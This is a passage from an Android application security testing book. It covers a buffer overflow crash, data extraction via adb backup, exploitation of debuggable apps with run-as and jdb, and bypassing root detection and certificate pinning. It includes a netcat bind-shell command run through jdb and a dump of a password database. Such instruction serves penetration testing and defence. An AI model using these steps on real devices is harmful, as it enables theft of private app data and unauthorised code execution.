I/DEBUG ( 49): b807bc18 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a
I/DEBUG ( 49): b807bc28 7a7a7a7a 7a7a7a7a 7a7a7a7a 41414141
I/DEBUG ( 49): b807bc38 7a7a7a7a 00650000 0073002f 00000023
...
I/DEBUG ( 49): memory near sp:
I/DEBUG ( 49): a8db79c0 a8db7a30 a8db7a28 abb9ded0 b807b158
I/DEBUG ( 49): a8db79d0 a8db7adc b807bb68 b5b09e01 a8e41f07
I/DEBUG ( 49): a8db79e0 a8db7adc b5b09e7d a0c58026 3dd0d7d5
I/DEBUG ( 49): a8db79f0 a8c9c62c 1c7c59bb c7920389 0021b22f
I/DEBUG ( 49): a8db7a00 fbb2801a 4884621f c54c3f0a d8dc5d7b
I/DEBUG ( 49): a8db7a10 b5b09e01 b807b148 7a7a7a7a 7a7a7a7a
I/DEBUG ( 49): a8db7a20 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a
I/DEBUG ( 49): a8db7a30 7a7a7a7a 00000000 0000000a 00000000
I/DEBUG ( 49): a8db7a40 7a7a7a7a 00000000 0000000a 00000000
I/DEBUG ( 49): a8db7a50 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a
I/DEBUG ( 49): a8db7a60 7a7a7a7a 7a7a7a7a 7a7a7a7a 7a7a7a7a
I/DEBUG ( 49): a8db7a70 7a7a7a7a 41414141 00000026 0000000a
I/DEBUG ( 49): a8db7a80 b807bbd8 00000064 b807bc48 00000016
I/DEBUG ( 49): a8db7a90 00000003 a8db7a18 00000009 a8db79e8
I/DEBUG ( 49): a8db7aa0 b807bb68 00000000 c54c3f0a d8dc5d7b
I/DEBUG ( 49): a8db7ab0 a8db7ac8 af6357d0 b807b148 00000004
I/DEBUG ( 49):
...
I/DEBUG ( 49):
I/DEBUG ( 49): memory map around fault addr 41414141:
I/DEBUG ( 49): (no map below)
I/DEBUG ( 49): (no map for address)
I/DEBUG ( 49): a8b41000-a8cb8000 r-x /dev/ashmem/dalvik-jit-code
-cache (deleted)
The sequence AAAA translates to 41414141 in hex. This is used inside the supplied extra at a strategic position and results in the CPU attempting to jump to this location, thus causing an error condition which the system reports. This is a user-supplied address that comes directly from what we sent to this service from another application. This basic buffer overflow vulnerability shows how the triggering of such a condition can be viewed in logcat
.
To start the exploitation process, attaching a debugger to the application at the time of the crash is essential. Android contains a Just-In-Time debugging feature that you can use for this purpose. To configure this feature, find the UID of the target application. Do this in drozer by observing the output of the app .package.info
module:
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Application Label: Sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-1.apk
UID: 10053
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
You can now issue a command via an ADB shell that sets a property that causes a JIT debugger to attach to a crashed process with UID <= 10053 (from the discovered application UID):
$ adb shell setprop debug.db.uid 10053
Causing the crash in Sieve again reveals the following in logcat
:
...
I/DEBUG ( 49): ********************************************************
I/DEBUG ( 49): * Process 5345 has been suspended while crashing. To
I/DEBUG ( 49): * attach gdbserver for a gdb connection on port 5039
I/DEBUG ( 49): * and start gdbclient:
I/DEBUG ( 49): *
I/DEBUG ( 49): * gdbclient app_process :5039 5345
I/DEBUG ( 49): *
I/DEBUG ( 49): * Wait for gdb to start, then press HOME or VOLUME DOWN key
I/DEBUG ( 49): * to let the process continue crashing.
I/DEBUG ( 49): ********************************************************
This shows that the process has been suspended and is available for debugging. You can attach a gdbserver
to this process as follows:
$ adb shell gdbserver :5039 --attach 5345
Attached; pid = 5345
Listening on port 5039
It is now listening on port TCP/5039 for a debugging client to connect to it. This listening port should be forwarded:
$ adb forward tcp:5039 tcp:5039
You can find a special architecture-specific GDB client in the Android NDK (see https://developer.android.com/tools/sdk/ndk/index.html
) and use it to attach to the gdbserver
that is holding the crashed process. In this example, we used a normal ARM-based emulator and so we make use of the “armeabi” GDB client:
$ cd /path/to/android-ndk-r9d/toolchains/
$ arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin/arm-linux-androideabi-gdb
GNU gdb (GDB) 7.3.1-gg2
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=x86_64-linux-gnu --target=arm-linux-android".
For bug reporting instructions, please see:
<http://source.android.com/source/report-bugs.html>.
(gdb) target remote :5039
Remote debugging using :5039
0xb6f645cc in ?? ()
(gdb)
After it is successfully attached, the iterative process of crafting an exploit for this issue can begin. The exploitation of this issue is out of the scope of this chapter. A thorough understanding of the architecture on which you are writing the exploit (typically ARM on most Android devices) and knowledge of common exploitation techniques is required. Chapter 8 shows the end product of exploiting an application using native code and the tools that you can use post-exploitation. Exploiting this issue on a modern version of Android using exploit mitigations such as stack canaries, NX, and full ASLR presents a huge challenge to any attacker. On older versions of Android, a skilled exploit writer can still create an exploit for this issue with relative ease.
You can use other debuggers in the exploitation process. A paid option could be the android_server
and debugging capabilities provided by IDA Pro. A free debugger that has the look and feel of OllyDbg (a popular debugger for Windows) is also available at http://www.gikir.com/
. However, many exploit developers prefer to just use GDB because it provides very powerful functionality. Beware—it is renowned for its intimidating command-line interface for beginners.
Many attributes are available to set in the <application>
tag found in the AndroidManifest.xml
of an application. All of these attributes may look harmless to the untrained eye. This section focuses on two attributes that have a significant impact on the security of an application.
Since Android 4.0, backing up all applications, their data, and other shared data on the device (on an SD card for example) on a non-rooted device is possible. The manifest attribute that controls whether a backup of the application data is allowed or not is android:allowBackup
. However, the default value of this attribute is true
. This is great from a usability point of view because application developers who are not even aware of this attribute can still allow people using their app to back up their application data. From a security perspective, this also means that application developers who are not aware of this attribute will allow the exposure of their application data if physical access to a device running their application is obtained. To find applications that allow backups to be made, use the app.package.backup
drozer module. If a particular application is of interest (like Sieve), you can use the module in the following manner:
dz> run app.package.backup -f com.mwr.example.sieve
Package: com.mwr.example.sieve
UID: 10053
Backup Agent: null
API Key: Unknown
The output shows that the android:allowBackup
attribute is set to true
for the application and that the contents of its private data directory can be dumped using ADB. If the android:backupAgent
attribute is set in the manifest, it points to the class that extends BackupAgent
and allows the developer to control this functionality to a greater degree. If an application makes use of a custom backup agent, you would need to review the code of the class stated in the manifest.
To back up an application, use the adb backup
feature. To perform this action on Sieve you use the following command:
$ adb backup com.mwr.example.sieve
Now unlock your device and confirm the backup operation.
After this, an activity launches and asks you to specify an encryption key. Leave the key field blank and tap Back Up My Data. Figure 7.15 shows the presented activity.
A file named backup.ab
will be placed in your current working directory on your computer. The file format is a TAR file that makes use of a DEFLATE algorithm for compression. This peculiar combination of algorithms has been the subject of many forum posts. Nikolay Elenkov posted a simple way to convert an AB file back to a TAR file at http://nelenkov.blogspot.de/2012/06/unpacking-android-backups.html
. You can use the simple one-liner provided in that article on the backup.ab
file as shown here:
$ dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
88+1 records in
88+1 records out
2135 bytes (2.1 kB) copied, 0.000160038 s, 13.3 MB/s
$ tar xvf backup.tar
apps/com.mwr.example.sieve/_manifest
apps/com.mwr.example.sieve/db/database.db-journal
apps/com.mwr.example.sieve/db/database.db
apps/com.mwr.example.sieve/ef/Backup (2014-05-27 18-16-14.874).xml
This exposes all the application databases, any other files that reside in the application’s data directory, and the contents of the application data directory on the SD card (/sdcard/Android/data/com.mwr.example.sieve/
). This once again emphasizes the importance of implementing encryption for files that remain on disk, even when they are assumed to be protected.
You can use a tool named Android Backup Extractor to automate this instead of using hairy one-liners. Find it at https://github.com/nelenkov/android-backup-extractor
.
In summary, an attacker with physical access to a device can get the data that resides in an application’s private data directory provided that the application allows backups.
During development an application needs to have a flag set in its manifest to tell the OS that a debugger is allowed to attach to it. You can see this as an attribute in the <application>
element in the manifest as android:debuggable
and set it to true
or false
. If this attribute does not exist in the manifest, the application is not debuggable
as this value defaults to false
. If this value is set to true
, whenever this application is active in any form, it is looking for a UNIX socket named @jdwp-control
. This socket is opened by the ADB server when USB debugging is enabled.
To check whether an installed application is debuggable
or not, in drozer use the app.package.debuggable
module. This module, as shown here, finds all debuggable
packages on a device:
dz> run app.package.debuggable
...
Package: com.mwr.example.sieve
UID: 10053
Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
...
Having an application that is set as debuggable
is dangerous and can cause the exposure of the application’s file as well as the execution of arbitrary code in the context of the application. This can be especially dangerous if the debuggable
application holds powerful permissions or runs as a privileged user.
In general, applications with the debuggable
flag set can be exploited with physical access to a device that has USB debugging enabled. To see which applications are active and connected to the debugging @jdwp-control
socket, use ADB as follows:
$ adb jdwp
4545
4566
This adb jdwp
command gives the PIDs of the processes that you can debug. To map these to actual packages on the device, you can use a simple combination of ps
and grep
:
$ adb shell ps | grep "4545\|4566"
app_115 4545 2724 147000 22612 ffffffff 00000000 S com.mwr.dz
app_115 4566 2724 144896 22324 ffffffff 00000000 S com.mwr.dz:remote
This shows that only the drozer package can actively be debugged at this time. The only reason that this shows is because the drozer service was running at the time that the device was queried. Only applications that are active in some way will connect to the @jdwp-control
socket; you would have to manually start other debuggable
applications that are discovered to connect to the debugger. For instance, to start the Sieve application’s main activity (we saw earlier that Sieve was debuggable
) you could use the following command:
$ adb shell am start -n com.mwr.example.sieve/.MainLoginActivity
Starting: Intent { cmp=com.mwr.example.sieve/.MainLoginActivity }
Now if you run the adb jdwp
command again and find the associated packages, Sieve is available to debug:
$ adb jdwp
4545
4566
5147
5167
$ adb shell ps | grep "5147\|5167"
app_127 5147 2724 145400 19944 ffffffff 00000000 S
com.mwr.example.sieve
app_127 5167 2724 141016 15652 ffffffff 00000000 S
com.mwr.example.sieve:remote
The easiest way to exploit a debuggable
application with physical access to a device is by making use of the run-as
binary. This binary makes it possible to execute commands as the debuggable
package on the device. The run-as
binary uses setresuid()
and setresgid()
to change from the “shell” user to the application’s user—as long as the following conditions are met:
debuggable
.To get an interactive shell as the Sieve application user, you can use the run-as
command with the full package name as its parameter:
$ adb shell
shell@android:/ $ run-as com.mwr.example.sieve
shell@android:/data/data/com.mwr.example.sieve $
Note that as part of the initiation of the run-as
binary, the user is placed inside the target application’s private data directory. You can also use the run-as
binary to execute a command and return immediately:
$ adb shell run-as com.mwr.example.sieve ls -l databases
-rw-rw---- u0_a53 u0_a53 24576 2014-05-27 19:28 database.db
-rw------- u0_a53 u0_a53 12824 2014-05-27 19:28 database.db-journal
The preceding shows the exposure of the Sieve application’s private data directory. At this point you can execute any command and copy the crucial application files from the device or change them to be accessible from other applications using chmod
. The following is a one-liner that you can use to dump the database (provided that sqlite3
exists and is on the path) that contains the master password as well as all the data entered into Sieve:
$ adb shell run-as com.mwr.example.sieve sqlite3 databases/database.db
.dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE android_metadata (locale TEXT);
INSERT INTO "android_metadata" VALUES('en_US');
CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username
TEXT,password BLOB,email );
INSERT INTO Passwords VALUES(1,'Gmail','tyrone',X'CC0EFA591F665110CD344C
384D48A2755291B8A2C46A683987CE13','tyrone@gmail.com');
INSERT INTO Passwords VALUES(2,'Internet Banking','tyrone123',X'5492FBCE
841D11EC9E610076FC302B94DBF71B59BE7E95821248374C5529514B62',
'tyrone@gmail.com');
CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT );
INSERT INTO Key VALUES('Thisismylongpassword123','1234');
COMMIT;
This shows the complete exposure of an application’s private data directory if it is debuggable
. Just to reiterate the point, normally on a non-rooted device the private data directory of the Sieve application is not accessible. Attempting to perform even a directory listing results in the following error:
shell@android:/ $ ls -l /data/data/com.mwr.example.sieve/databases
opendir failed, Permission denied
Another method of exploiting a debuggable
application with physical access to the device is attaching a debugger to it. Attaching a debugger to an application allows complete control over the application, including the exposure of information being held in variables and can be extended to the execution of arbitrary code.
You can use ADB to expose a process that is debuggable
over TCP so that it can be debugged using JDB (Java Debugger). Development IDEs use this technique to provide debugging information to the development runtime.
$ adb forward tcp:4444 jdwp:5147
After this connection has been forwarded, use jdb
to connect to it:
$ jdb -attach localhost:4444
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
>
At this point, you can control the flow of execution and manipulate the application in any way you please. In general, the reason an attacker would want to exploit a debuggable
application would be to get to the files being protected by it. One of the most simple and reliable methods for running operating system commands as the debuggable
application from within jdb
was explained by Jay Freeman on his blog at http://www.saurik.com/id/17
. The general steps to use his method are as follows:
List all threads in the application.
> threads
Group system:
(java.lang.Thread)0xc1b1db5408 <8> FinalizerWatchdogDaemon cond. waiting
(java.lang.Thread)0xc1b1db5258 <7> FinalizerDaemon cond. waiting
(java.lang.Thread)0xc1b1db50f0 <6> ReferenceQueueDaemon cond. waiting
(java.lang.Thread)0xc1b1db5000 <5> Compiler cond. waiting
(java.lang.Thread)0xc1b1db4e20 <3> Signal Catcher cond. waiting
(java.lang.Thread)0xc1b1db4d40 <2> GC cond. waiting
Group main:
(java.lang.Thread)0xc1b1addca8 <1> main running
(java.lang.Thread)0xc1b1db8bc8 <10> Binder_2 running
(java.lang.Thread)0xc1b1db8ad8 <9> Binder_1 running
>
Find the main thread and attach to it.
> thread 0xc1b1addca8
<1> main[1]
Suspend the thread.
<1> main[1] suspend
All threads suspended.
Create a breakpoint on android.os.MessageQueue.next
.
<1> main[1] stop in android.os.MessageQueue.next
Set breakpoint android.os.MessageQueue.next
Run and cause the breakpoint to hit.
<1> main[1] run
>
Breakpoint hit: "thread=<1> main", android.os.MessageQueue.next(), line=
129 bci=0
The breakpoint should immediately occur. If it does not, then you can cause it by interacting with the application in any way. Execute any operating system command:
<1> main[1] print new java.lang.Runtime().exec("/data/local/tmp/busybox
nc -l -p 6666 -e sh -i")
new java.lang.Runtime().exec("/data/local/tmp/busybox nc -l -p 6666 -e
sh -i") = "Process[pid=5853]"
In this case prior to exploitation a busybox
binary was uploaded to /data/local/tmp
and made accessible to all applications. We then invoked it to run the nc
utility that binds a shell to TCP port 6666. To interact with this shell you forward TCP port 6666 to the attached computer and then use nc
on the computer. The following shows these steps along with proof that access to the Sieve files has been obtained:
$ adb forward tcp:6666 tcp:6666
$ nc localhost 6666
sh: can't find tty fd: No such device or address
sh: warning: won't have full job control
u0_a53@generic:/ $ cd /data/data/com.mwr.example.sieve
u0_a53@generic:/data/data/com.mwr.example.sieve $ ls -l
drwxrwx--x u0_a53 u0_a53 2014-05-27 08:48 cache
drwxrwx--x u0_a53 u0_a53 2014-05-27 08:48 databases
lrwxrwxrwx install install 2014-05-25 07:11 lib -> /data/app-
lib/com.mwr.example.sieve-1
This section provides an overview of testing techniques and tools that you can use when tricky testing scenarios arise. Applications that have implemented layered security measures can be very difficult to test properly because these mechanisms stand in the way. Two examples of such situations are:
This section presents some scenarios that may arise and solutions that let you thoroughly test an application.
One way to disable SSL certificate-pinned connections and root detection could be to disassemble the application, remove these features from the code, and then assemble the application again. One of the easiest tools to use to support this activity is apktool
; Chapter 6 presents an overview of it. This method relies on a moderate level of knowledge of the smali format. A simple “Hello World” example is provided at https://code.google.com/p/smali/source/browse/examples/HelloWorld/HelloWorld.smali
and is shown here:
.class public LHelloWorld;
.super Ljava/lang/Object;
.method public static main([Ljava/lang/String;)V
.registers 2
sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
const-string v1, "Hello World!"
invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/
String;)V
return-void
.end method
To become comfortable with smali, it is useful to look at the Java code that represents a smali function being examined. This will be left as an exercise for the reader as becoming comfortable with smali is a matter of practicing and spending time with it.
Take an example of an application from the Play Store that checks and displays whether a device is rooted or not. You can attempt to patch it so that it always says the device is not rooted. The checks performed in this application will be roughly equivalent to what you would commonly find in an application with root detection code. You may use the Root Checker application (see https://play.google.com/store/apps/details?id=com.joeykrim.rootcheck&hl=en
) for this example. Figure 7.16 shows running Root Checker on a rooted device.
Performing this patching exercise on the Root Checker application involves using apktool
to convert the application back to smali code, searching for the functions that check for the “su” binary, and modifying them to fail the root check. Note that this exercise is only for testing purposes and the application will have a completely different cryptographic signature after the code has been modified and assembled again.
You can use the following command-line parameters with apktool
to “baksmali” this application:
$ java -jar apktool.jar d com.joeykrim.rootcheck.apk rootcheck
I: Baksmaling...
I: Loading resource table...
I: Loaded.
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/mahh/apktool/framework/1.apk
I: Loaded.
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Done.
I: Copying assets and libs...
Now you can search for any string containing su
using grep
on the smali code:
$ grep -R -i "\"su\"" rootcheck
rootcheck/smali/com/a/a/aa.smali: const-string v7, "su"
rootcheck/smali/com/joeykrim/rootcheck/t.smali: const-string v1, "su"
Using dex2jar and viewing the code in JD-GUI reveals that the code is heavily obfuscated. Here is the decompiled Java code that relates to com/joeykrim/rootcheck/t.smali
:
package com.joeykrim.rootcheck;
public final class t
{
public v a = new v(this, "sh");
public v b = new v(this, "su");
}
This is quite cryptic and hard to understand without doing further analysis. However, you may assume that it is trying to do something with the “su” binary on the device, such as execute it or check if it is on the PATH
. Maybe if you change the “su” string in this function to “nonexistent” then it will try to check or execute “nonexistent” and this check will fail. You can assemble the modified contents back to an APK by using apktool
again:
$ java -jar apktool.jar b rootcheck/ rootcheck-modified.apk
I: Checking whether sources has changed...
I: Smaling...
I: Checking whether resources has changed...
I: Building resources...
I: Building apk file...
You must use the same signing procedure as described in Chapter 6 to sign the APK so that it can be installed on a device:
$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore
mykey.keystore rootcheck-modified.apk alias_name
Enter Passphrase for keystore:
adding: META-INF/MANIFEST.MF
adding: META-INF/ALIAS_NA.SF
adding: META-INF/ALIAS_NA.RSA
signing: res/color/common_signin_btn_text_dark.xml
...
signing: AndroidManifest.xml
signing: classes.dex
signing: resources.arsc
After installing the patched application and starting it, you should see that your patch worked. Figure 7.17 shows that the application no longer says that the device is rooted.
This was a simple example of how to patch an application to bypass certain conditions when testing and does not constitute a vulnerability in the Root Checker application. When cross-platform frameworks like PhoneGap (seehttp://phonegap.com/
) are used, patching out functionality may even be easier because these checks are performed in JavaScript that come with the application. You can use apktool
to disassemble the APK and allow you to change the JavaScript to suit your needs.
Patching complicated functionality from an application can be time consuming and frustrating. However, another way exists that may be less time consuming and allow greater flexibility when testing. The concept of runtime manipulation will be very familiar to iOS hackers. On Android, this concept may not be as important for assessing application security. However, there are some distinct advantages to using tools that perform runtime patching of applications. These tools allow the use of low-level hooks when classes and methods are loaded. This means that patching the Root Checker application could have been done on the fly in memory while the application was running by writing an add-on for a runtime manipulation tool.
Two tools stand out in this space: Cydia Substrate by Jay Freeman and Xposed Framework by rovo89 (a user of the XDA Developers forum). Some typical use cases of when these tools are useful are also presented in this section. A plethora of add-ons to these tools make testing of applications easier. You should explore a host of these add-ons and build your own arsenal of tools that you feel are useful.
Xposed Framework was released in 2012 by a member of the XDA Developers forum named rovo89. Using root privileges, it provides functionality for hooking and modifying Android applications at runtime. It has become a very popular framework for the modding community, and an active community of developers is creating modules that alter all kinds of system behavior attributes. You can download it from http://repo.xposed.info/
; the community forum is hosted at http://forum.xda-developers.com/xposed
. The repository at http://repo.xposed.info/module-overview
contains modules that can change the look and feel of the device in some way and there are some modules that may be useful for the testing of applications as well. Xposed works by providing a custom app_process
binary and therefore can only modify code that is a forked from Zygote; for example, installed applications. This means that anything that has not been forked from Zygote is not possible to hook using Xposed, including native code.
Cydia Substrate (previously known as Mobile Substrate) is a tool that was released in 2008 for Apple iOS devices and became wildly popular in the jailbreaking community. Since then, a version for Android was released in 2013 and is now available for download from the Play Store or from Jay Freeman’s website at http://www.cydiasubstrate.com/
. It comes in the form of an APK and it requires root privileges to function. The Cydia Substrate application itself does not have any directly usable functionality. It merely provides the runtime hooking and modification functionality to other applications (also known as “extensions”). The techniques used for code injection are top notch, and in our opinion this tool is technically superior to the Xposed Framework. It can provide arbitrary modification of anything running on an Android device (including native code). For any runtime patching needs for security testing purposes, we recommend using Cydia Substrate.
Figure 7.18 shows the Cydia Substrate application installed and running on a rooted Android device.
The Twitter (https://twitter.com/
) application development team was an early adopter of SSL certificate pinning techniques on Android. The Twitter application does not proxy through an intercepting proxy such as Burp, even when the Burp CA certificate is installed on the device. This is expected behavior from a properly certificate-pinned application.
When the application attempts to load tweets, a toast pops up saying, “Cannot retrieve Tweets at this time. Please try again later.” This is well done from a security perspective because it does not give you any clues about what the problem is. Inspecting the source code closer reveals that certificate pinning code is implemented. If the need arose to assess some aspect of the underlying Twitter web API, you could go about it in various ways. The first option that comes to mind is patching the certificate pinning functions out of the code using the techniques explained in the previous section. However, this task can be tough. This is where runtime manipulation tools work wonderfully. A Cydia Substrate extension written by iSEC Partners, named Android SSL TrustKiller, is available that nullifies SSL checks at application runtime. It does all of this absolutely transparently using the method-hooking API from Cydia Substrate. You can download it from https://github.com/iSECPartners/Android-SSL-TrustKiller
. After you install this application and then click Restart System (Soft) in the Cydia Substrate application, the system reboots and when it starts again all SSL worries are over. Figure 7.19 shows the Twitter application proxying through Burp.
Running logcat
while starting the Twitter application reveals that it was SSL Trust Killer that made it possible to proxy it. You can see the output here:
I/SSLTrusKiller(13955): getTrustManagers() override
I/SSLTrusKiller(13955): Hooking init in javax.net.ssl.SSLContext
I/SSLTrusKiller(13955): init() override in javax.net.ssl.SSLContext
I/SSLTrusKiller(13955): getTrustManagers() override
I/SSLTrusKiller(13955): getTrustManagers() override
I/SSLTrusKiller(13955): init() override in javax.net.ssl.SSLContext
I/SSLTrusKiller(13955): init() override in javax.net.ssl.SSLContext
I/SSLTrusKiller(13955): isSecure() called(org.apache.http.conn.ssl.SSLSocketFactory)
For extensive documentation on creating such an extension for Cydia Substrate, see http://www.cydiasubstrate.com/
.
Now look at exactly the same example as shown in the “Patching Applications” section previously. The Root Checker application checks whether your device is rooted and displays this status to the screen. We previously disassembled the application and manually patched out these checks. However, you can also achieve this using a runtime manipulation tool such as Cydia Substrate.
An extension named RootCloak Plus on the Play Store (see https://play .google.com/store/apps/details?id=com.devadvance.rootcloakplus&hl=en
) uses Cydia Substrate to perform exactly this task. It provides a user interface where you can select which applications should not be able to see that the device is rooted by patching checks for commonly known indications of root. If you add the Root Checker application to the list of applications that root should be hidden from, RootCloak Plus does its job and Root Checker reports “Sorry! The device does not have proper root access.”
The output of logcat
also reveals that RootCloak was doing its job:
I/RootCloakPlus(16529): 4 Blacklisted app: com.joeykrim.rootcheck
I/RootCloakPlus(16529): 9 Blacklisted app: com.joeykrim.rootcheck
...
I/RootCloakPlus(16529): 14 Blacklisted app: com.joeykrim.rootcheck
When assessing large applications, viewing what is going on under the hood of an application at runtime is sometimes useful. A Cydia Substrate extension named Introspy (by iSEC Partners) allows you to do exactly this. You can configure it to watch a number of important aspects of an application, such as any keys going into encryption functions, or what is being sent in intents to other application components. Introspy provides an easy configuration application that allows you to select the list of watched actions and the applications to watch. Figure 7.20 shows the configuration application of Introspy.
Each action discovered by Introspy will then be logged in logcat
. A simple example of opening the Sieve application and performing some actions reveals the following output in logcat
:
I/Introspy(23334): ### IPC ### com.mwr.example.sieve - android.content.
ContextWrapper->startService()
I/Introspy(23334): -> Intent { cmp=com.mwr.example.sieve/.AuthService }
W/Introspy(23334): ### FS ### com.mwr.example.sieve - java.io.FileOutput
Stream->FileOutputStream()
W/Introspy(23334): -> !!! Read/write on sdcard: [/storage/emulated/0/And
roid/data/com.mwr.example.sieve/files/Backup (2014-07-31 22-13-39.54).xm
l]
I/Introspy(23334): ### SSL ### com.mwr.example.sieve - javax.net.ssl.SSL
Context->init()
I/Introspy(23334): Use of a custom Trust Manager, the app may do cert.
pinning OR validate any cert
You can download Introspy from https://github.com/iSECPartners/Introspy-Android
.
In this chapter, each aspect of assessing an Android application was covered. It was shown that Android applications can contain many types of vulnerabilities. In addition to containing vulnerabilities that are typical of client-side code, Android applications can also exhibit a lot of problems that are unique to the platform. These problems arise from incorrect application configurations or coding mistakes. Each aspect of an application can be fine-combed by someone wishing to find vulnerabilities. This can be done using mature tools presented in this chapter and using this chapter as a general assessment methodology.
Chapter 8 will allow you to apply the knowledge learnt in this chapter at a larger scale and perform assessments on pre-installed applications on a device. Chapter 8 will also delve into leveraging vulnerabilities to gain access to a device like a malicious hacker would.